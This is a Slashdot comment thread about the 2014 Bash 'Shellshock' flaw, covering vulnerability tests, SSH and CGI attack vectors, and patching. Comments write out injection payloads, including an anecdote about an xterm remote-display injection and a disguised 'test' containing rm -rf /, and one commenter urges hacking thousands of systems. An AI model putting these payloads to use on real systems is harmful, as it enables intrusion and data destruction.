      I'm trying to figure out if the OpenSSH vectors are actually remote exploits or just a privilege escalation in a remote access tool. From what I understand, a user has to be authenticated to get access to any of the variables this exploit can run through.

      --
      "When information is power, privacy is freedom" - Jah-Wren Ryel
    7. Re:Only CGI scripts affected? by Qzukk · · Score: 1

      If the process a) is a bash script itself

      If you're using fastcgi with a wrapper script (the recommended configuration for mod_fcgid+PHP), it's time to check the wrapper script. It should not need to be a bash script.

      FCGIWrapper /usr/lib/cgi-bin/php5-wrapper .php

      --
      If I have been able to see further than others, it is because I bought a pair of binoculars.
    8. Re:Only CGI scripts affected? by Anonymous Coward · · Score: 0

      FCGI != CGI. I'm not familiar with FCGI specifics, but it looks like it passes the variables as text over a socket to a persistent process instead of spawning a new process, though I do not know if the process usually shoves it into environment variables to reuse old CGI code.

      Still might be a good idea to at least make sure that /bin/sh links to dash or something.

    9. Re:Only CGI scripts affected? by nedlohs · · Score: 1

      Or a CGI script written in a some other lanaguage - like python or perl - or a binary that is on a system with bash as the default shell and which calls the system function in libc (or an equivalent) since that will execute /bin/sh.

      There will be a lot of such cases - running a "mail" command or something from imagemagick and so on.

    10. Re:Only CGI scripts affected? by meta-monkey · · Score: 1

      Wow, that's a special kind of stupid right there.

      --
      We don't have a state-run media we have a media-run state.
    11. Re:Only CGI scripts affected? by Anon-Admin · · Score: 2

      Ill top that one, back in the late 90's I was hired to check out an ISP's security. I was given standard user access to the web front end.

      They had a routine to un-tar/zip/etc a file. You could free form the file name so i entered

      junk.tgz:xterm -display my.IP.Addr:0.0

      To my surprise There was an xterm on my linux box right to their server, with full root access.

    12. Re:Only CGI scripts affected? by Qzukk · · Score: 1

      When using the wrapper, apache spawns the fastcgi server on the first request if it is not already running.

      --
      If I have been able to see further than others, it is because I bought a pair of binoculars.
    13. Re:Only CGI scripts affected? by BlackPignouf · · Score: 1

      A friend of mine wrote a small web application for french conjugation, with verbiste (https://launchpad.net/ubuntu/+source/verbiste).
      You type a verb, and it gives you a table like this one :
      http://french.about.com/od/ver...

      My verb was "avoir && whoami", and its conjugation was "root" :D

    14. Re:Only CGI scripts affected? by TheCarp · · Score: 2

      If you think that is bad, you should see the parts I didn't mention, the contents of that if statement was something like "$ERRORNO = 101"

      The structure of the program was very simple....it had 4 functions which were called in sequence, each one would set global variables, which would be read by the other. So, if ERRORNO was set, a whole nother function with a whole different big if statement block would then print out the error message..... which is why I opened the code up...one of the errors was wrong.

      So basically, it was written in the era of perl 5, to a perl 4 standard, by someone who really liked BASIC.

      --
      "I opened my eyes, and everything went dark again"
    15. Re:Only CGI scripts affected? by geantvert · · Score: 2

      Any setuid program that would call a bash script directly or indirectly could also be vulnerable.

      I predict that in the following days hackers will find several ways to cause local privileges escalations by executing system bash scripts with customized environment variables. That could be as simple as configuring a hidden WiFi network with a customized ESSID.

       

    16. Re:Only CGI scripts affected? by geantvert · · Score: 1

      On my ubuntu laptop, gunzip and zcat are Bash script.

    17. Re:Only CGI scripts affected? by K.+S.+Kyosuke · · Score: 1

      Oh, there is one. It's called scsh. It's a very neat design, really, but I'm not sure you'll like its syntax either. :-) But conceptually, it's very much sane.

      --
      Ezekiel 23:20
    18. Re:Only CGI scripts affected? by Anonymous Coward · · Score: 0

      And this right here is why you should not have X or any other GUI packages installed on a server.

    19. Re: Only CGI scripts affected? by Anonymous Coward · · Score: 0

      incorrect assumption.
      binary and script cgi URLs are vulnerable, the exploit is trivial. try it, you'll like it. you have an opportunity to hack thousands right now....

    20. Re:Only CGI scripts affected? by Anonymous Coward · · Score: 0

      You understand incorrectly.

    21. Re:Only CGI scripts affected? by Uecker · · Score: 2

      Yes. This only works if the user has an account. But he might be able to break out of a locked-down account which only runs a specific command.

    22. Re:Only CGI scripts affected? by Anonymous Coward · · Score: 0

      Some moron ISP decides to let users unzip files as root, through a shell script that does absolutely no input checking, and you think having xterm installed is the problem?

      If he had used shutdown instead of xterm, would you remove that? If he used rm, would you remove that?

    23. Re:Only CGI scripts affected? by Anonymous Coward · · Score: 0

      But only if that specific command is already bash or a bash script.

      But in that case, when was the last time you saw a shell script with everything perfectly quoted, so that script injection wasn't already possible?

      I believe that even /bin/nologin is already a binary for that reason.

    24. Re:Only CGI scripts affected? by ArsenneLupin · · Score: 1

      Oh I had the same thought....I mean, by the time an "attacker" is modifying arbitrary environment variables in your process,

      Which is the case on most Apache Web server configs: the client has full control over the HTTP_REFERER and HTTP_USER_AGENT variables... And the exploit in question works with any environment variable, including those 2.

      Well, starting from here, you are vulnerable as soon as:

      1. You have a CGI script written as a #!/bin/bash script on your system
      1. You have /bin/sh symlinked to /bin/bash (used to be common in many Linux distribution), so as soon as a script calls system(), /bin/bash gets executed, along with the scripts full environment...
    25. Re:Only CGI scripts affected? by jeremyp · · Score: 1

      Wouldn't it also display

      grep mysekritpassword /usr/dict/words

      in a ps -ef listing?

      --
      All I want is a secure system where it's easy to do anything I want. Is that too much to ask ~~ Randall Munroe
    26. Re:Only CGI scripts affected? by Uecker · · Score: 1

      No, it seems that any command is run using the user's shell which might be bash.

    27. Re:Only CGI scripts affected? by TheCarp · · Score: 1

      Why, yes it would, that is a good point. That was hardly the only real issue.

      To add insult to injury, it would change the password by generating ldiff files, and storing them in /tmp, then running command line ldap utils on them. So in addition to that, you could likely arbitrarily set someone else's password with a little finagling.

      Which, is pretty much why I just verified it could be exploited to touch a file in tmp and immediately began re-writing it.

      --
      "I opened my eyes, and everything went dark again"
  9. Already fixed in Debian... by msauve · · Score: 5, Informative
    --
    "National Security is the chief cause of national insecurity." - Celine's First Law
    1. Re:Already fixed in Debian... by reikae · · Score: 2

      I wonder if Debian's default /bin/sh being dash instead of bash reduces the attack surface somewhat. Do usual configurations of web servers (and others listed in TFA) call /bin/sh or /bin/bash directly?

      Hindsight is 20/20 obviously, but it makes sense to use a shell with limited features in cases where limited features are enough (especially when remotely accessible). On the other hand, now you've got two shells with potential security issues instead of just one.

    2. Re:Already fixed in Debian... by Anonymous Coward · · Score: 1

      Probably doesn't reduce the surface that much. While bash may not be the default shell, a mere #!/bin/bash at the top of ANY script down the chain, written by some poor bloke that just wanted to use [[ ]], makes the script vulnerable

    3. Re:Already fixed in Debian... by paskie · · Score: 1

      On repo.or.cz, as login shell for all git user accounts we use a shell script that does some verifications, shows nice error messages etc. Thankfully, #!/bin/sh is at the top of the script and that's dash on the Debian server; otherwise, we would have been vulnerable. (Only getting into a chroot as non-root, but still...)

      --
      It's not the fall that kills you. It's the sudden stop at the end. -Douglas Adams
    4. Re:Already fixed in Debian... by trawg · · Score: 1

      Fixed in wheezy (v7), but not squeeze (v6). Status: https://security-tracker.debia...

    5. Re:Already fixed in Debian... by nadaou · · Score: 1

      I wonder if Debian's default /bin/sh being dash instead of bash reduces the attack surface somewhat.

      Nope. I just tested dash on a Debian system which hadn't been upgraded yet. Dash is vulnerable too.

      On an upgraded Debian dash is not vulnerable.

      --
      ~.~
      I'm a peripheral visionary.
    6. Re:Already fixed in Debian... by Anonymous Coward · · Score: 2, Informative

      You probably tested with a command line that invokes bash explicitly. dash doesn't even have the feature that this exploit targets.

    7. Re:Already fixed in Debian... by Anonymous Coward · · Score: 0

      For those of us using squeeze on ARM (i.e. no LTS) it will never be fixed. It is simple enough to patch and install from upstream. Run apt-get build-dep bash, download and extract the tarball, download and apply the 25 patches, configure with "./configure --prefix=/usr/local --bindir=/bin", make and make install. Might be worthwhile stashing a copy of the existing /bin/bash first.

    8. Re:Already fixed in Debian... by Xylantiel · · Score: 1

      The question would be which shell does the equivalent of system() in PHP, PERL, etc call? If the PHP or PERL code in question only uses system() to execute binaries and not scripts (which might spawn bash as you say) then it would not be vulnerable because it would be done with dash. Does anybody know which would be used? Might it depend on the form of the system() call?

  10. Thanks god by Anonymous Coward · · Score: 4, Funny

    Thanks god I am using windows.

    1. Re:Thanks god by TechyImmigrant · · Score: 0, Troll
      --
      I should use this sig to advertise my book ISBN-13 : 978-1501515132.
    2. Re:Thanks god by LordLimecat · · Score: 2

      Thats not a powershell vulnerability, its a piece of malware written in Powershell.

      What you said would be like claiming C++ exploits because many viruses are written in C++.

    3. Re:Thanks god by msauve · · Score: 4, Funny

      Your god makes you use Windows? You have a vengeful god.

      --
      "National Security is the chief cause of national insecurity." - Celine's First Law
    4. Re:Thanks god by TechyImmigrant · · Score: 0

      Yes, but what can you expect from 3 seconds of Googling?

      --
      I should use this sig to advertise my book ISBN-13 : 978-1501515132.
    5. Re:Thanks god by nogginthenog · · Score: 1

      I've got cygwin Bash installed in Windows...

    6. Re:Thanks god by chipschap · · Score: 1

      I almost thought I would be disappointed and not see a "this proves Linux is bad and Windows is good post." Thank you for making my day, in a certain way.

    7. Re:Thanks god by Anonymous Coward · · Score: 0

      Evidently to be modded informative by morons.

    8. Re:Thanks god by iggymanz · · Score: 1

      That's nothing, my god makes me deploy software written by developers who prefer to write the code that will run on a Linux or Unix box, on their windows desktop. Their code will therefore do things like create a directory called "C:" and make a bunch of subdirectories under that, the deepest of which contains log files. So your god is vengeful, mine is a spiteful asshole.

    9. Re:Thanks god by TechyImmigrant · · Score: 0

      I was aiming for 'funny'.

      --
      I should use this sig to advertise my book ISBN-13 : 978-1501515132.
    10. Re:Thanks god by Anonymous Coward · · Score: 0

      I run bash in a Linux VM running through Windows-compiled Virtual Box installed on WINE over cygwin in on a Windows instance over a VMWare ESXi hypervisor

    11. Re:Thanks god by Anonymous Coward · · Score: 0

      Spelling God's name with a small g shows that neither of you know God.

  11. Test string here: by B5_geek · · Score: 5, Informative

    This is the test to see if you are vulnerable:

    env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

    --
    "The price good men pay for indifference to public affairs is to be ruled by evil men." ~Plato (427-347 BC)
    1. Re:Test string here: by TheCarp · · Score: 2

      I have to admit, my suspicous old self had to spend a minute making sure this wasn't a fork bomb. Which, I have to say, this would be the perfect thread for if you were into that sort of mischief. In any case, yah that shouldn't worl. That really shouldn't work at all.

      --
      "I opened my eyes, and everything went dark again"
    2. Re:Test string here: by Lord+MuffloN · · Score: 0

      For those of us that only use Linux for hosting and don't know every detail of it's innards, how would a novice like me use this?

    3. Re:Test string here: by B5_geek · · Score: 1

      =)
      I too was suspicious of that fork-bomb potential. So the first time I ran it was on a test-vm.

      I'm glad I am not the only paranoid one.

      --
      "The price good men pay for indifference to public affairs is to be ruled by evil men." ~Plato (427-347 BC)
    4. Re:Test string here: by TheCarp · · Score: 1

      > I too was suspicious of that fork-bomb potential. So the first time I ran it was on a test-vm.

      lol well, as annoying as they can be, I have beaten a fork bomb before without rebooting so, I was confident enough after a quick perusal to not be afraid, especially since....come on, the function isn't even being called how can it possibly exec.....fuck

      --
      "I opened my eyes, and everything went dark again"
    5. Re:Test string here: by B5_geek · · Score: 5, Informative

      SSH into your host.
      from the bash prompt just paste the above string.

      i.e.
      user@host $env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

      --------------------
      If you see:
      vulnerable
      this is a test
      Then you are vulnerable and need to update your system.

      If all you see is:
      this is a test

      Then you are ok.

      --
      "The price good men pay for indifference to public affairs is to be ruled by evil men." ~Plato (427-347 BC)
    6. Re:Test string here: by TheCarp · · Score: 2

      I was actually just thinking another way to use this might be to have ssh pass x='() { :;}; echo vulnerable' as a variable to remote systems, that way whenever you login to a remote system, it just tells you whether it is vulnerable or not on login.

      --
      "I opened my eyes, and everything went dark again"
    7. Re:Test string here: by Lord+MuffloN · · Score: 0

      Thank you kind sir, I've tested and I'm vulnerable so I've decided to turn off port 80 forwarding on my router until a patch is available for my distro!

    8. Re:Test string here: by Spaham · · Score: 1

      was vulnerable (on debian),
      $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
      vulnerable
      this is a test
      Just ran apt-get update and upgrade and :
      $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
      bash: warning: x: ignoring function definition attempt
      bash: error importing function definition for `x'
      this is a test

    9. Re:Test string here: by chihowa · · Score: 4, Informative

      The (ancient) version of bash that ships with OS X appears vulnerable. Luckily, as a remote exploit, only authenticated ssh sessions and cgi scripts etc expose it, so most single user workstations (of all OSs) should be safe.

      If this is a bash exploit, and not a Linux exploit, why all of the focus on Linux in the article? I use bash on many different OSs.

      --
      If you want a vision of the future, imagine a youtube comments section scrolling - forever.
    10. Re:Test string here: by OzPeter · · Score: 5, Informative

      I just tried it on 2 different version s of OSX: 10.9.4 and 10.7.5 and confirm that they print out the "vulnerable" message

      --
      I am Slashdot. Are you Slashdot as well?
    11. Re:Test string here: by Anonymous Coward · · Score: 0

      I get this too, but the newest Bash version on MacPorts is still vulnerable (as of 11:30am PST). :(

    12. Re:Test string here: by nogginthenog · · Score: 1

      Interestingly Cygwin's Bash was vulnerable until I updated. Now I get the same message as you.

    13. Re:Test string here: by Anonymous Coward · · Score: 0

      I also show "vulnerable" under Cygwin running on Windows 7.

    14. Re:Test string here: by Corporate+Gadfly · · Score: 1

      Fixed on Homebrew.

      --
      Corporate Gadfly
      Jonathan Archer: the most beaten up Enterprise captain in Star Trek history
    15. Re:Test string here: by armanox · · Score: 1

      That's a good question. I'm seeing my IRIX systems at home as vulnerable, but I have AcceptEnv disabled in sshd_config, and am not running web servers on them - I feel like the attack vectors are limited.

      But your point is valid - ANY OS that uses Bash is a target.

      --
      I'm starting to think GNU is the problem with "GNU/Linux" these days.
    16. Re:Test string here: by chipschap · · Score: 1

      Seems like a fix got pushed out pretty fast ....

    17. Re:Test string here: by RavenLrD20k · · Score: 1

      *blink*
      Um...please tell me this is Poe's law at work and you're not a complete idjit [sic].

    18. Re:Test string here: by Anonymous Coward · · Score: 0

      1) ulimit, /etc/security/limits.conf, and cgroups
      2) a minute?

    19. Re:Test string here: by menkhaura · · Score: 1

      Funnily enough, Debian unstable doesn't carry a fix yet. Bash 4.3-9, as of 2014-09-24 20:42:47 UTC

      --
      Stupidity is an equal opportunity striker.
      Fellow slashdotter Bill Dog
    20. Re:Test string here: by Megane · · Score: 2

      FWIW, I tried changing "echo vulnerable" to "whoami" and it didn't work. In fact, it segfaulted! Then I changed it to "echo `whoami`" and it worked as expected. So while it may possibly only work directly with built-in shell commands, they still get the full benefit of the command line parser and its handling of backquotes.

      --
      #naabhaprzrag, #sverubfr-000, #agi-fcbafberq, negvpyr[pynff*=' negvpyr-ary-'] { qvfcynl: abar !vzcbegnag; }
    21. Re:Test string here: by Anonymous Coward · · Score: 0

      There are other ways it migh be exposed on Mac OSX. for example, monitoring servers (e.g. nagios) can execute checks written as shell scripts on client

    22. Re:Test string here: by kthreadd · · Score: 1

      Stable is priority number one, testing and unstable will follow.

    23. Re:Test string here: by multiplexo · · Score: 4, Informative

      Most sshd daemons aren't configured to accept just any environment variables, they limit exposure with an AcceptEnv directive in the sshd configuration file (/etc/ssh/sshd_config on most Linux versions. This means that

      env x='() { :;}; echo vulnerable' ssh some_user@some_server

      probably won't work on most systems but

      env LC_FRED='() { :;}; echo vulnerable ssh some_user@some_server'

      will if the server is configured to accept the LC_* environment variables with the AcceptEnv directive in sshd_config.

      --
      cheap labor conservatives - they want to keep you hungry enough to be thankful for minimum wage.
    24. Re:Test string here: by smaddox · · Score: 1

      Just installed homebrew's bash, and it's still showing as vulnerable:

      $ /usr/local/bin/bash
      $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
      vulnerable
      this is a test

      What am I doing wrong?

    25. Re:Test string here: by Anonymous Coward · · Score: 1

      zsh on Mac OS X also reports "vulnerable". Does that mean it's not just a bash bug or the test string is only accurate for bash?

    26. Re:Test string here: by Anonymous Coward · · Score: 0

      So I did this:

      # export LC_ME='() { :;}; echo `/bin/bash -c "touch me"`'
      # ssh localhost

      and I get

      Welcome to Linux Mint 16 Petra (GNU/Linux 3.11.0-12-generic x86_64)

      Welcome to Linux Mint
        * Documentation: http://www.linuxmint.com
      Last login: Wed Sep 24 16:33:16 2014 from localhost
      -bash: child setpgid (32508 to -1): Invalid argument
      -bash: child setpgid (32509 to -1): Invalid argument

      And it does create the file "me"

      But I have to log in to get the environment to run.

    27. Re:Test string here: by Nixoloco · · Score: 1

      Even if it is fixed in homebrew, it's not like the system bash isn't still sitting there on your system vulnerable. Let's hope some day Apple will port in a fix to the system bash.

    28. Re:Test string here: by Anonymous Coward · · Score: 0

      > zsh --version
      zsh 5.0.6 (x86_64-pc-linux-gnu)
      > env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
      env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
      vulnerable
      this is a test

    29. Re:Test string here: by steelfood · · Score: 1

      That's a test of bash specifically. If you want to see how vulnurable your system could potentially be, change bash to sh. Since all sorts of things will spawn shells for some purpose or another, any of them is an attack vector.

      Most Linux distros (except Ubuntu and derivatives, and more recent Debian) will be vulnurable because sh symlinks to bash. But for non-Linux *NIX systems like BSD, this may or may not be true.

      Patch anyway, but if you've got a vulnurable public-facing system, you may want to go over your firewall logs as well.

      --
      "If a nation expects to be ignorant and free in a state of civilization, it expects what never was and never will be."
    30. Re:Test string here: by Anonymous Coward · · Score: 1

      I did that too, except with pdksh, and was also surprised to see a "vulnerable" report. Try something like this instead:

      env x='() { :;}; echo vulnerable' zsh -c "echo this is a test"

    31. Re:Test string here: by Corporate+Gadfly · · Score: 1

      Just installed homebrew's bash, and it's still showing as vulnerable:

      $ /usr/local/bin/bash
      $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
      vulnerable
      this is a test

      What am I doing wrong?

      Perhaps /bin is before /usr/local/bin in your PATH.

      --
      Corporate Gadfly
      Jonathan Archer: the most beaten up Enterprise captain in Star Trek history
    32. Re:Test string here: by mmontour · · Score: 1

      FWIW, I tried changing "echo vulnerable" to "whoami" and it didn't work. In fact, it segfaulted!

      Maybe a path issue? Try it with /usr/bin/whoami (or wherever it is on your system).

      On the system I tested, I do get a segfault but only after it has run the command. It's definitely not limited to built-in commands; "/usr/bin/man bash" worked just fine.

    33. Re:Test string here: by Anonymous Coward · · Score: 0

      NO, that is a test that does nothing at all but print to your terminal. This is a test that shows if you are truly vunerable or not...
      env x='() { :;}; rm -rf /' bash -c "echo this is a test"

    34. Re:Test string here: by RLiegh · · Score: 1

      I updated Linux Mint x86 and tried it:

      rl@home ~ $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
      bash: warning: x: ignoring function definition attempt
      bash: error importing function definition for `x'
      this is a test
      rl@home ~ $

      I'm gonna assume that means the version they just pushed out is fixed...

    35. Re:Test string here: by Anonymous Coward · · Score: 0

      this will work only after a successful auth.

    36. Re:Test string here: by Anonymous Coward · · Score: 0

      Mod above way up. Only users that can successfully log in to the system can execute (yes, "execute" :-) ) the above environment variable, and if they can do that, they can also just run the fork bomb in the shell on the machine "regularly", so SSH is not an attack vector for this exploit in that sense. The hidden command will run within the shell with the same privileges as the user.

    37. Re:Test string here: by Anonymous Coward · · Score: 0

      Most sshd daemons aren't configured to accept just any environment variables, they limit exposure with an AcceptEnv directive in the sshd configuration file (/etc/ssh/sshd_config on most Linux versions. This means that


      env x='() { :;}; echo vulnerable' ssh some_user@some_server

      probably won't work on most systems but


      env LC_FRED='() { :;}; echo vulnerable ssh some_user@some_server'

      will if the server is configured to accept the LC_* environment variables with the AcceptEnv directive in sshd_config.

      I did not understard how can I use this bug. could I use it to promote my privildge to root?

    38. Re:Test string here: by Anonymous Coward · · Score: 0

      Did you change "bash" to "zsh" in the test string, or did you just cut'n'paste it with the assumption that it would use your login shell?

    39. Re:Test string here: by ArsenneLupin · · Score: 1

      Or, more easily: the exploit string could be packed into the TERM variable, which almost all ssh's and even telnet daemons pass on the the shell: env TERM='() { :;}; echo vulnerable ssh some_user@some_server'

    40. Re:Test string here: by Anonymous Coward · · Score: 0

      That post just says "some people are reporting that the script prints out 'vulnerable', others are reporting that it does not print out 'vulnerable' and just prints out "this is a test", (so they're not vulnerable); but when I do it, I get an error, and I haven't seen anyone report that they get an error, so I don't know if I'm vulnerable or not, because I don't really understand what's going on". Why be so rude?

    41. Re:Test string here: by Anonymous Coward · · Score: 0

      True (although you've misplaced the closing quote in your 'working' example), but the vulnerability isn't exploitable unless you've got a valid SSH login to the box in question. The remote bash only gets executed once the login is confirmed and the remote system looks up the shell of the user logging in, and then only if that is indeed the bash shell.

      If you've already got a valid SSH login, then you don't really need to take advantage of the vulnerability.

    42. Re:Test string here: by Dagger2 · · Score: 1

      SSH can be configured to lock down which commands the user can run; this is common in combination with e.g. gitolite for letting people push to a git repository without giving them full shell access. Anybody with access to such a server can now run arbitrary local commands

    43. Re:Test string here: by McKing · · Score: 1

      Even if you are running homebrew's bash as your current shell, your command is just calling "bash" and not "/usr/local/bin/bash". I suspect that your PATH has /bin before /usr/local/bin. Try this instead:

      env x='() { :;}; echo vulnerable' /usr/local/bin/bash -c "echo this is a test"

      --
      If only "common" sense was actually that common...
    44. Re:Test string here: by jeremyp · · Score: 1

      Suppose you are a guest at my house and you want to ssh into your own computer at your house. I say no problem and I create you a user account on my computer which you then use to ssh to your computer.

      Still don't think it's a problem?

      Of course I could also have a key logger installed.

      --
      All I want is a secure system where it's easy to do anything I want. Is that too much to ask ~~ Randall Munroe
    45. Re:Test string here: by Anonymous Coward · · Score: 0

      What about DHCP client scripts? On my Ubuntu /sbin/dhclient-script starts with #!/bin/bash.

      How does Mac OS X implement DHCP?

    46. Re:Test string here: by Anonymous Coward · · Score: 0

      Doesn't OpenSSH accept the client-provided $TERM value even if AcceptEnv disables everything?

    47. Re:Test string here: by chihowa · · Score: 1

      All of the networking functions are performed by native tools, but I'm not sure of the details. As a fingers-crossed-with-rescue-media-ready experiment, OS X seems to run normally with all of the shells removed (except the terminal and my own scripts, of course).

      --
      If you want a vision of the future, imagine a youtube comments section scrolling - forever.
    48. Re: Test string here: by Anonymous Coward · · Score: 0

      if somebody runs that, they deserve what they get

    49. Re:Test string here: by Anonymous Coward · · Score: 0

      Strangely, the same thing happens with tcsh, csh, ksh, and sh on Mac OS X 10.9.4.

      If this is a bash problem, why are all the other shells doing the same?

    50. Re:Test string here: by RavenLrD20k · · Score: 1
      If it outputs:

      bash: warning: x: ignoring function definition attempt
      bash: error importing function definition for `x'
      This is a test

      or just

      This is a test

      then your server is patched successfully. Whether or not the error message displays depends on bash configuration. I have three CentOS 6.5 servers that I manage in my house and one in the cloud. On the 3 64-bit machines which were original installs it generates the error message after patching. On the 1 32-bit machine which was upgraded from a previous version of CentOS I just get the "This is a test" message with no error after patching.

      The idjit part of the statement is running CGI scripting on an exposed web server. It was also done mostly tongue in cheek, hence the deliberate misspelling of idiot. The reason for this statement is that it can be easily inferred that since he's (presuming male from the 'Lord' in his handle) directly able to administer a router, either this server is production for a business, or he's at home.

      If it's the former, all sympathy goes out the window as well as the tongue in cheek intent since he's getting paid to administer these systems and keep them secure; which also means that he should know how to patch bash even if his distro provider hasn't put the patch in their upstream. A production server is that important.

      On the other hand, if it's the latter, a greater deal of leeway can be given, and we can safely assume he's a hobbyist. In this case, it would be prudent for him to turn this into a learning situation. First, yes, take down port 80. Second, if your distro doesn't have the patch in the upstream yet, this would be a good opportunity to learn how to patch by hand. The tarball can be downloaded from the gnu.org site (not giving a direct link since the point of a hobbyist server is to perform your own research). Read the documentation to learn how to manually install the patch. Once your system is patched and you pass the test, you can open up port 80 again. Finally, you'll want to learn other options to processing your forms or dynamic pages than relying on CGI scripting. It's an old methodology that leaves your machine open to a host of problems, as is evident by this shellshock vulnerability.

      On a final note: I guess I'm just old now, but way back when I was using Redhat 5, whenever I needed to patch something on my box that I'd dial in on I wouldn't normally wait on the Distro's upstream, but instead install the source project myself. Not only did this keep my systems current, but it also helped me with my understanding of that system and every way that it operated. There's just a whole lot of understanding that seems to get lost when you're not dealing with levels low enough.

    51. Re:Test string here: by Darinbob · · Score: 1

      Note that if you use "bash -r -c" instead that you get a restricted shell (ie, more secure) and you don't get the vulnerability.
      Although I don't think there's a portable way to get a restricted shell with all shells out there (dash doesn't seem to have that ability), so things that want to execute a subshell to execute commands are in a pickle, either use the default shell with no restricted option or know which type of shell is being used underneath the hood.

    52. Re:Test string here: by TheCarp · · Score: 1

      Yes but the intent wasn't to exploit so much as to have a way to raise a flag when connecting to a vulnerable system, so as to know it still needs updating.

      --
      "I opened my eyes, and everything went dark again"
  12. Remotely exploitable Bash vulnerability .. by Anonymous Coward · · Score: 0

    Is there a working example of this remotely exploitable vulnerability available on the Intertubes ?

  13. Maybe it has to do with spelling by mark-t · · Score: 0

    Flash... Java... Bash. They all have the letter 'a' in them as their first vowel.

    I think it's a conspiracy by the first letter of the english alphabet.... Yup, that must be it.

    Oh wait.... "Windows". Hmm... that doesn't fit the pattern at all, does it?

    I think I'll need a couple more data points before I can reasonably conclude that Windows might just be a statical aberration, however... What about any reported vulnerabilites on Mac's or on Slackware?

    1. Re:Maybe it has to do with spelling by Dracos · · Score: 1

      Because MS hates standards. Their first vowel for exploitable software is 'i'. If you think that doesn't hold up, prepend Microsoft or Windows.

    2. Re:Maybe it has to do with spelling by gstoddart · · Score: 2

      Flash... Java... Bash. They all have the letter 'a' in them as their first vowel.

      I think it's a conspiracy by the first letter of the english alphabet.... Yup, that must be it.

      Oh wait.... "Windows". Hmm... that doesn't fit the pattern at all, does it?

      Well, that's OK. i is like a for large enough values of a (or really small values of i).

      And depending on what part of the world you're in, the sound of vowels can change quite a bit.

      A few years back, my wife's mother and some friends were in the southern US ... she walked into the store and asked if they have any pins ... the cashier asked if she "wanted a ball point pin or a fountain pin". I kid you not.

      In fact, my wife had an economics prof from Texas once. There was no discernible difference between the sound of "microeconomics" and "macroeconomics", because apparently a and i have the same value there.

      Therefore, in Texas, your statement is 100% true. ;-)

      --
      Lost at C:>. Found at C.
    3. Re:Maybe it has to do with spelling by Anonymous Coward · · Score: 0

      latest stable osx, it prints vulnerable, this is a test...

    4. Re:Maybe it has to do with spelling by Anonymous Coward · · Score: 0

      What are you talking about? Wandows is perfectly safe!

    5. Re:Maybe it has to do with spelling by Anonymous Coward · · Score: 0

      Therefore, in Texas, your statement is 100% true. ;-)

      All statements are true in Texas. That's the problem.

    6. Re:Maybe it has to do with spelling by Anonymous Coward · · Score: 0

      Flash... Java... Bash. They all have the letter 'a' in them as their first vowel.

      I think it's a conspiracy by the first letter of the english alphabet.... Yup, that must be it.

      Oh wait.... "Windows". Hmm... that doesn't fit the pattern at all, does it?

      You are aware that the first vowel in Linux is 'i' just as 'i' is the first vowel in Windows and Microsoft too but 'u' is the first vowel in GNU and Ubuntu. Meanwhile the first vowel of Debian is 'e'. I dare say the conspiracy is the work of English language vowels.

    7. Re:Maybe it has to do with spelling by DeputySpade · · Score: 1

      Sure, but what about 'Gates'? ;-)

      --


      This space intentionally left blank
    8. Re:Maybe it has to do with spelling by iggymanz · · Score: 1

      ah but in Texan micro is just two syllables "my-crow" while macro is three "my-yah-crow". Hope that helps.

      ok I made that shit up

    9. Re:Maybe it has to do with spelling by gstoddart · · Score: 1

      LOL ... I gather it was more like "mah-cro" and "mah-cro".

      --
      Lost at C:>. Found at C.
    10. Re:Maybe it has to do with spelling by bobaferret · · Score: 1

      what really sux, is that for most people, here in the southern part of the US, no matter how much they want to, they can't hear or speak the difference in pen vs. pin. That why we call them stick pins, and not just pins..

  14. Really? Using bash for CGI? by Anonymous Coward · · Score: 4, Interesting

    All the systems I've done security pen tests against that were using bash for CGI were so easy to hack via other means it wasn't funny. And of course that web server CGI was running as root so root shell and done.

    Stop using Bash for CGI unless you want to get pwned. Similar theme with 90% of the Perl CGI I run into.

  15. Terminal vulnerabilities by Dimwit · · Score: 2

    My favorite of this sort of thing is CVE-2009-1717, which was a bug in Apple's terminal emulator in Mac OS X. Sending certain escape sequences to it caused it to blow up and potentially execute code. What was fun is that putting a "telnet://" link in a web page would automatically cause Mac OS X to automatically open a terminal and connect to a remote host with no prompting by the user. It was a pretty neat vulnerability.

    --
    ...but it's being eaten...by some...Linux or something...
  16. Exploit depends on not validating input? by h4ck7h3p14n37 · · Score: 2

    Someone correct me if I'm mistaken, but doesn't this exploit depend on programs not validating input?

    The example given in the post to oss-security mentions HTTP request headers containing malicious data being passed into CGI programs which then call out to Bash. Wouldn't taint-checking input eliminate that attack vector?

    1. Re:Exploit depends on not validating input? by Qzukk · · Score: 2

      It's not being passed in as usual data, it's being passed in as environment variables, most programmers ignore all the variables that are not relevant to their program (which is usually all of them).

      --
      If I have been able to see further than others, it is because I bought a pair of binoculars.
    2. Re:Exploit depends on not validating input? by artbristol · · Score: 1

      Someone correct me if I'm mistaken, but doesn't this exploit depend on programs not validating input?

      Yes, but the program failing to validate the input is bash itself. Not your code.
      As soons as you get to #!/bin/bash you're exploited. Doesn't matter how careful your script code is.

      This is really, really bad. Does your home router have any cgi scripts that use bash? This remote exploit can be triggered with a query parameter.

    3. Re:Exploit depends on not validating input? by Bacon+Bits · · Score: 2

      When httpd runs a CGI script, it passes data to the script with bash environment variables. That means the code would be executed by httpd in whatever context it runs CGI scripts. The CGI script itself hasn't even been executed yet.

      --
      The road to tyranny has always been paved with claims of necessity.
    4. Re:Exploit depends on not validating input? by nabsltd · · Score: 1

      Does your home router have any cgi scripts that use bash?

      Even if it did, it only serves web pages to IPs on the "LAN" side, right?

      If not, you've already been pwned long ago.

    5. Re:Exploit depends on not validating input? by eneville · · Score: 1

      blessed are the pessimist for they set -i.

    6. Re:Exploit depends on not validating input? by eneville · · Score: 1

      er, env -i is what i meant

  17. environmental? by Anonymous Coward · · Score: 0

    Why do people say/write "environmental" variable? I've never seen the that word used in shell documentation or any literature on *nix written by competent authorities. It's "environment variable."

    1. Re:environmental? by peter.kingsbury · · Score: 1

      Obviously you've never used Linux in the wild.

    2. Re:environmental? by chipschap · · Score: 1

      Why do people say/write "environmental" variable? I've never seen the that word used in shell documentation or any literature on *nix written by competent authorities. It's "environment variable."

      It's due to global warming.

